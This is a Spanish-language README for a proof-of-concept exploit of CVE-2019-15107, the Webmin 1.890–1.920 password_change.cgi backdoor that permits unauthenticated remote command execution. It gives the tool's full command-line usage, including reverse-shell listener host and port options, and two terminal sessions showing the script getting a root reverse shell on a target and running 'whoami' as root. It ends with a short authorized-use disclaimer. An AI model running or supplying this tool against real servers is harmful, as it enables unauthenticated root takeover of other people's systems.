
Exploit de prueba de concepto para CVE-2019-15107 (Webmin <= 1.920) que permite RCE no autenticado mediante inyección de comandos.
Este repositorio contiene un exploit de prueba de concepto (PoC) para CVE-2019-15107 que afecta a las versiones 1.890 a 1.920 de Webmin.
El script explota una puerta trasera en las versiones 1.890 a 1.920 que permite a usuarios no autenticados inyectar comandos en el endpoint password_change.cgi a través del parámetro old (expired en la v.1.890). Solo las descargas de SourceForge contenían la puerta trasera, pero aparecen listadas como descargas oficiales en el sitio del proyecto.
Atacante(s) desconocido(s) insertaron sentencias Perl qx en el código fuente del servidor de compilación en dos ocasiones separadas: una en abril de 2018, introduciendo la puerta trasera en la versión 1.890, y otra en julio de 2018, reintroduciendo la puerta trasera en las versiones 1.900 a 1.920.
Solo la versión 1.890 es explotable en la instalación por defecto. Las versiones afectadas posteriores requieren que la función de cambio de contraseña caducada esté habilitada.
El exploit se probó con éxito contra:
python3 cve-2019-15107.py -r <TARGET_IP> -l <LOCAL_IP> [options]
options:
-h, --help Show this help message and exit
-r, --rhost RHOST Target IP address
-rp, --rport RPORT Target port (default: 10000)
-l, --lhost LHOST Local IP for reverse shell
-lp, --lport LPORT Local port for reverse shell (default: 4343)
-s, --scheme {http,https} Protocol to use (default: https)
-x, --proxy [PROXY] Use proxy (default: http://127.0.0.1:8080)
-f, --force Force exploitation even if detection fails
-c, --cmd CMD Execute a single command instead of reverse shell
┌──(adam㉿kali)-[~]
└─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129
_____ _____ ___ __ _ ___ _ ___ _ __ ____
/ __\ \ / / __|_|_ ) \/ / _ \___/ | __/ |/ \__ |
| (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ /
\___| \_/ |___| /___\__/|_|/_/ |_|___/_|\__//_/
CVE-2019-15107 | Webmin Unauthenticated RCE
by adampawelczyk
[*] Checking vulnerability...
[*] Detecting target version...
[+] Detected Webmin 1.890
[+] Target is vulnerable
[*] Starting listener on port 4343...
listening on [any] 4343 ...
[*] Sending payload...
connect to [192.168.158.129] from (UNKNOWN) [10.114.159.93] 59970
bash: cannot set terminal process group (1314): Inappropriate ioctl for device
bash: no job control in this shell
root@source:/usr/share/webmin/# whoami
whoami
root
root@source:/usr/share/webmin/#
┌──(adam㉿kali)-[~]
└─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129 -c whoami
_____ _____ ___ __ _ ___ _ ___ _ __ ____
/ __\ \ / / __|_|_ ) \/ / _ \___/ | __/ |/ \__ |
| (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ /
\___| \_/ |___| /___\__/|_|/_/ |_|___/_|\__//_/
CVE-2019-15107 | Webmin Unauthenticated RCE
by adampawelczyk
[*] Checking vulnerability...
[*] Detecting target version...
[+] Detected Webmin 1.890
[+] Target is vulnerable
[+] Command output:
========================================
root
Esta herramienta es solo para fines educativos y de pruebas autorizadas. El uso no autorizado contra sistemas que no posees o para los que no tienes permiso para probar es ilegal. Úsala de manera responsable.